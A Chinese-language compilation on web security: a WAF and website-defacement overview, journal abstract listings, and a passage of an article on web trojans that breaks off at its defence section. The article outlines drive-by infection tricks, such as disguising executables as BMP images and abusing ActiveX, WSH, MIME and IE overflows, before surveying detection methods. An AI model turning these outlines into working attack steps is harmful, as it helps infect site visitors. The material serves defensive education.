企业等用户一般采用防火墙作为安全保障体系的第一道防线。
但是，在现实中，他们存在这样那样的问题，由此产生了WAF（Web应用防护系统）。
Web应用防护系统（Web Application Firewall, 简称：WAF）代表了一类新兴的信息安全技术，用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
网站安全防护解决方案
网站安全防护解决方案WEB应用是当前业务系统使用最为广泛的形式。
根据 Gartner 的调查，信息安全攻击有 75% 都是发生在 Web 应用层而非网络层面上。
同时，数据也显示，2/3的WEB网站都相当脆弱，易受攻击。
据美国国防部统计，每1000行Web代码中存在5~15个漏洞，而修补一个漏洞通常需要2~9小时。
根据CNCERT的最新统计数据，2007年CNCERT共接到网络安全事件报告4390件。
2007年我国大陆被篡改网站总数达到了61228个，同比增长1.5倍;其中政府网站()被篡改3407个，占大陆被篡改网站的7%。
CNCERT统计显示，大陆地区约有4.3万个IP地址主机被植入木马，约有362万个IP地址主机被植入僵尸程序。
从以上数据可以看出，提高业务网站的安全防护，是保障业务正常进行的必然前提。
因此，对于影响力强和受众多的门户网站，需要专门的网页(主页)防篡改系统来保护网页和保障网站内容的安全。
政府门户网站的潜在风险政府门户网站因需要被公众访问而暴露于因特网上，容易成为黑客的攻击目标。
其中，黑客和不法分子对网站的网页(主页)内容的篡改是时常发生的，而这类事件对公众产生的负面影响又是非常严重的，即：政府形象受损、信息传达失准，甚至可能引发信息泄密等安全事件。
网页篡改者利用操作系统的漏洞和管理的缺陷进行攻击，而目前大量的安全措施(如安装防火墙、入侵检测)集中在网络层上，它们无法有效阻止网页篡改事件发生。
目前，政府门户网站常因以下安全漏洞及配置问题，而引发网页信息被篡改、入侵等安全事件：1. 网站数据库账号管理不规范，如：使用默认管理帐号(admin，root，manager等)、弱口令等;2. 门户网站程序设计存在的安全问题，网站程序设计者在编写时，对相关的安全问题没有做适当的处理，存在安全隐患，如SQL注入，上传漏洞，脚本跨站执行等;3. WEB服务器配置不当，系统本身安全策略设置存在缺陷，可导致门户网站被入侵的问题;4. WEB应用服务权限设置导致系统被入侵的问题;5. WEB服务器系统和应用服务的补丁未升级导致门户网站可能被入侵的安全问题等。
网页木马攻防战
网页木马攻防战
佚名
【期刊名称】《网络运维与管理》
【年(卷),期】2014(000)023
【摘要】在病毒木马五花八门的入侵方式中，网页木马称得上是“最经典”的渗
透伎俩。
黑客将精心设计的网页木马潜藏在某些网页中，让用户很．难发现其踪迹。
尤其是黑客侵入特定的网站后，为了“扩大战果”会在其中嵌入网页木马，更让用户防不胜防。
本文将教给广大网管员朋友们如何维护网站运行，及时对网站进行检测，发现并清除可能存在的网页木马。
【总页数】2页(P89-90)
【正文语种】中文
【中图分类】TP393.092
【相关文献】
1.Web网页木马的概念、攻击与防御 [J], 施瑞明;单浩樾
2.基于动态行为分析的网页木马检测方法 [J], 张卫丰;刘蕊成;许蕾
3.网页木马机理与防御方法研究 [J], 曾泽军;;
4.新一轮网页木马攻防战开始了 [J], 冰河洗剑
5.网页木马机理与防御方法 [J], 杨维荣;
因版权原因，仅展示原文概要，查看原文内容请购买。
支招防御网页木马
支招防御网页木马
李新;徐阳;李成友
【期刊名称】《中国教育网络》
【年(卷),期】2010(000)004
【摘要】@@ 根据某安全企业"云安全"数据中心最新统计数据表明,2009年上半年,其"云安全"系统拦截到的挂马网页数累计达2.9亿个,共有11.2亿人次网民遭木马攻击,平均每天有622万余人次网民访问挂马网站;其中大型网站、流行软件被挂马的有35万个(以域名计算),比去年同期有大幅度增长.由此可见,网络挂马问题之严重,网站及上网用户受攻击之多超乎想象.如何有效防御网页挂马,成为急需解决的问题之一.
【总页数】2页(P29-30)
【作者】李新;徐阳;李成友
【作者单位】聊城大学网络信息中心;聊城大学网络信息中心;聊城大学网络信息中心
【正文语种】中文
【相关文献】
1.网页木马的防御与检测技术
2.Web网页木马的概念、攻击与防御
3.网页木马机理与防御技术
4.网页木马机理与防御方法研究
5.网页木马机理与防御方法
因版权原因，仅展示原文概要，查看原文内容请购买。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
Web安全之网页木马的检测与防御随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生，基于Web环境的互联网应用越来越广泛，企业信息化的过程中各种应用都架设在Web平台上，Web业务的迅速发展也引起黑客们的强烈关注，接踵而至的就是Web安全威胁的凸显，黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限，轻则篡改网页内容，重则窃取重要内部数据，更为严重的则是在网页中植入恶意代码，使得网站访问者受到侵害。
在Web安全的攻击种类中，网页木马一直是一个不容忽视的问题。
黑客把一个木马程序上传到一个网站里面然后用木马生成器生一个网马，再上到空间里面，再加代码使得木马在打开网页里运行，从而获取用户的隐私信息。
随着网页木马破坏性的增大，人们对网页木马的重视程度也在逐渐增加。
1网页木马简介1.1网页木马的定义网页木马是在宏病毒、木马等恶意代码基础上发展出来的一种新形态的恶意代码.类似于宏病毒通过Word 等文档中的恶意宏命令实现攻击.网页木马一般通过HTML 页面中的一段恶意脚本达到在客户端下载、执行恶意可执行文件的目的,而整个攻击流程是一个“特洛伊木马式”的隐蔽的、用户无察觉的过程,因此,国内研究者通常称该种攻击方式为“网页木马”.目前,学术界对网页木马尚无一个明确的、统一的定义.Wiki 将它定义为一种用户不知情的下载,发生的场景可以是用户阅览邮件、访问网站页面以及点击一个欺诈性的弹出框时,等等,该定义属于字面解释,包括的内容比较宽泛,如利用社会工程学手段欺骗用户下载也属于其涵盖范围.此外,Wiki 还用Drive-by-Install 这一术语来表示下载并安装恶意程序的过程;Google 的Provos 等人将网页木马限定为客户端在访问页面时受到攻击并导致恶意可执行文件的自动下载、执行,该定义指出了“访问页面时受到攻击”和“自动下载、自动执行恶意可执行文件”两个关键点;UCSB 的Cova 等人进一步指出,网页木马是以一段JavaScript 代码作为攻击向量的一种客户端攻击方式,而实际上,还存在一些通过CSS 元素、VBScript 脚本发起攻击的网页木马。
综上所述,网页木马定义为:一种以JavaScript,VBScript,CSS 等页面元素作为攻击向量,利用浏览器及插件中的漏洞,在客户端隐蔽地下载并执行恶意程序的基于Web 的客户端攻击。
1.2网页木马的攻击流程网页木马采用一种被动攻击模式(即pull-based 模式):攻击者针对浏览器及插件的某个特定漏洞构造、部署好攻击页面之后,并不像发送垃圾邮件那样主动将内容推送给受害用户(即push-based 模式),而是被动地等待客户端发起的页面访问请求.其典型攻击流程如图 1 所示:1. 客户端访问攻击页面;2. 服务器做出响应,将页面内容返回给客户端;3. 页面被浏览器加载、渲染,页面中包含的攻击向量在浏览器中被执行并尝试进行漏洞利用;4,5. 存在该漏洞的客户端被攻破,进而下载、安装、执行恶意程序。
从网页木马的攻击流程可以看出,网页木马是一种更加隐蔽、更加有效的向客户端传播恶意程序的手段:相比较蠕虫以主动扫描等方式来定位受害机并向其传播恶意程序,网页木马采用一种“守株待兔”的方式等待客户端主动对页面发出访问请求,这种被动式的攻击模式能够有效地对抗入侵检测、防火墙等系统的安全检查.1.3可能被网页木马利用的漏洞1．利用URL格式漏洞此类网页木马是利用URL格式漏洞来欺骗用户。
构造一个看似JPG格式的文件诱惑用户下载，但事实上用户下载的却是一个EXE文件。
此类攻击，具有相当的隐蔽性，利用URL 欺骗的方法有很多种，比如起个具有诱惑性的网站名称或使用易混的字母数字掉包进行银行网络钓鱼，还有漏洞百出的“%30%50”之类的Unicode编码等等。
2.通过ActiveX控件制作网页木马。
通过 ActiveX 把普通的软件转化为可以在主页直接执行的软件的网页木马，此类网页木马对所有的系统和IE版本都有效，缺点是浏览网页木马时会弹出对话框，询问是否安装此插件。
病毒作者通常是伪造微软、新浪、Google等知名公司的签名，伪装成它们的插件来迷惑用户。
3.利用WSH的缺陷利用WSH修改注册表，使IE安全设置中“没有标记为安全的的activex控件和插件”的默认设置改为启用，然后再利用一些可以在本地运行EXE程序的网页代码来运行病毒。
它的危害在于，可以利用IE的安全漏洞提升权限达到本地运行任意程序的后果。
4.利用MIME漏洞制做的网页木马。
它利用了Microsoft Internet Explorer中MIME/BASE64处理的漏洞，MIME(Multipurpose Internet Mail Extentions)，一般译作“多用途的网络邮件扩充协议”。
顾名思义，它可以传送多媒体文件，在一封电子邮件中附加各种格式文件一起送出。
现在它已经演化成一种指定文件类型(Internet的任何形式的消息：E-mail，Usenet新闻和Web)的通用方法。
在使用CGI程序时你可能接触过 MIME类型，其中有一行叫作Content-type的语句，它用来指明传递的就是MIME类型的文件(如text/html或 text/plain)。
MIME在处理不正常的MIME类型时存在一个问题，攻击者可以创建一个Html格式的E-mail，该E-mail的附件为可执行文件，通过修改MIME头，使IE不能正确处理这个MIME所指定的可执行文件附件。
5．利用系统的图片处理漏洞这是种只要浏览图片就可以传播的网页木马。
这种木马是把一个EXE文件伪装成一个BMP 或JPG图片文件,在网页中添加如 <img src="love.bmp" >的代码来欺骗IE自动下载,然后利用网页中的Java Script脚本查找客户端的Internet临时文件夹,寻找下载的BMP格式文件,把它拷贝到TEMP目录.再利用脚本把找到的BMP文件用 DEBUG还原成EXE,并添加到注册表启动项中,达到随系统的目的。
6．HTML文件木马首先利用工具把EXE格式的文件转化成HTML文件的木马，这样.EXE文件看起来就变成了Htm文件，欺骗访问者访问假冒的Htm文件从而达到运行病毒的目的。
它和BMP网页木马运用了同一个原理，也会利用JAVASCRIPT脚本和debug程序来转换回EXE文件7.IFRAME溢出IE IFRAME漏洞利用了MS05020中提到的IE溢出漏洞， IE在处理iframe标签的时候，会调用一个叫作SHDOCVW！CBaseBrowser2：：SetFramName函数来进行unicode copy （wcscpy），在拷贝iframe的name时，没有进行边界检查，构造恶意的代码就会导致IE 的溢出。
8. Microsoft Internet Explorer Javaprxy.DLL COM对象堆溢出漏洞Microsoft Internet Explorer存在一个堆溢出漏洞。
当一个恶意的网页实例化'javaprxy.dll' COM对象时，可能导致堆溢出，成功利用该漏洞能够在客户端上下载执行任意代码。
2网页木马的主要检测技术在互联网中大规模进行页面检查,检测出被挂马页面,是网页木马防御的重要环节:一方面,可以通知被挂马网站的管理员及时清除页面中嵌入的恶意内容,从而改善互联网浏览环境;另一方面,有助于让防御方掌握网页挂马的范围、趋势以及捕获最新的网页木马样本.2.1监测基本思想大规模网页挂马检测的基本思路为:使用爬虫爬取互联网页面,将爬取到的URL 输入到检测环境——客户端蜜罐中进行网页木马检测.客户端蜜罐(client honeypot)这一概念首先由国际蜜网项目组(The HoneynetProject)的Spitzner 针对网页木马这种被动式的客户端攻击而提出.在网页挂马检测时,客户端蜜罐根据URL 主动地向网站服务器发送页面访问请求,并通过一定的检测方法分析服务器返回的页面是否带有恶意内容.在互联网中大规模进行网页挂马检测有两个关键点:1) 提高爬虫爬取的覆盖率,这方面可以通过采用大规模的计算平台、设计均衡的并行爬取分配策略等来实现2) 在客户端蜜罐中实现高效、准确的网页木马检测方法。
2.2主要监测方法•基于反病毒引擎扫描的检测基于反病毒引擎扫描是研究人员进行网页挂马检测时较早使用的方法,该方法主要基于规则或特征码匹配来检测页面中是否含有恶意内容.该方法的优点在于可以快速地对页面进行检测,但其缺点在于存在较高的漏报率:一方面,仅仅依赖一种纯静态的特征匹配无法对抗网页木马为了提高隐蔽性而普遍采用的混淆免杀机制,根据互联网安全技术北京市重点实验室在2008 年底作的统计发现,9 款国内外主流反病毒软件对在中国互联网上发现的网页木马样本最高仅达到36.7%的检测率;另一方面,研究人员通常仅对单页面进行扫描,而不进一步检测页面动态视图中的内嵌脚本/内嵌页面,从而无法有效检测出被挂马页面.•基于行为特征的检测基于行为特征的网页木马检测方法通常被用于高交互式客户端蜜罐中:即在检测环境中安装真实浏览器和一些带有漏洞的插件,驱动浏览器访问待检测页面,通过监测页面访问时注册表变化、文件系统变化、新建进程等行为特征来判定页面是否被挂马.为了便于感染后快速恢复以及防止恶意程序在本地网络中的传播,高交互式客户端蜜罐一般部署在虚拟机中并作一定的网络隔离.•基于统计或机器学习的检测由于网页木马经常对恶意脚本进行混淆来躲避基于特征码的检测,一种检测思路是按照页面的混淆程度来进行恶意性判断.文献提出了基于判断矩阵法的恶意脚本检测方法,但该方法仅对经过encode escape 函数混淆的恶意脚本有效.随着越来越多的大型网站为保障代码知识产权都对自己的脚本进行了一定的混淆或加密,因此,这类按照混淆程度进行恶意性判定的方法会带来较多的误报.•基于漏洞模拟的检测该类方法的典型代表是PHoneyC.PHoneyC 在低交互式客户端蜜罐环境中解析页面并用一个独立的脚本引擎执行提取出的脚本,通过在脚本引擎上下文中模拟出一些已知的漏洞插件,并结合运行时参数检查来检测恶意脚本.作为低交互式客户端蜜罐,PhoneyC 比高交互式客户端蜜罐更迅速、更容易加载(模拟)更多的漏洞模块甚至同一漏洞模块的不同版本.但是PhoneyC 也具有其自身局限性:由于采用一个独立的脚本引擎,脚本执行过程中常常由于缺少页面上下文环境或浏览器提供给脚本的一些API 而导致脚本执行失败、检测被迫停止.此外,PhoneyC 只能模拟已知的漏洞插件,无法检测利用零日漏洞的恶意脚本.在网页挂马检测中,低交互式客户端蜜罐中的基于反病毒引擎扫描、基于统计或机器学习、基于漏洞模拟等方法和高交互式客户端蜜罐中的基于行为特征的检测方法各有优缺点:低交互式客户端蜜罐的实现和配置灵活、便于扩展;高交互式客户端蜜罐主要根据行为特征进行检测,误报率相对较低,但时间代价和系统代价比较大.3网页木马防御技术研究网页木马都是利用漏洞来执行本不应该执行的代码，而这些代码都需要下载一个原生型木马到受害机执行，这个木马程序就是服务端。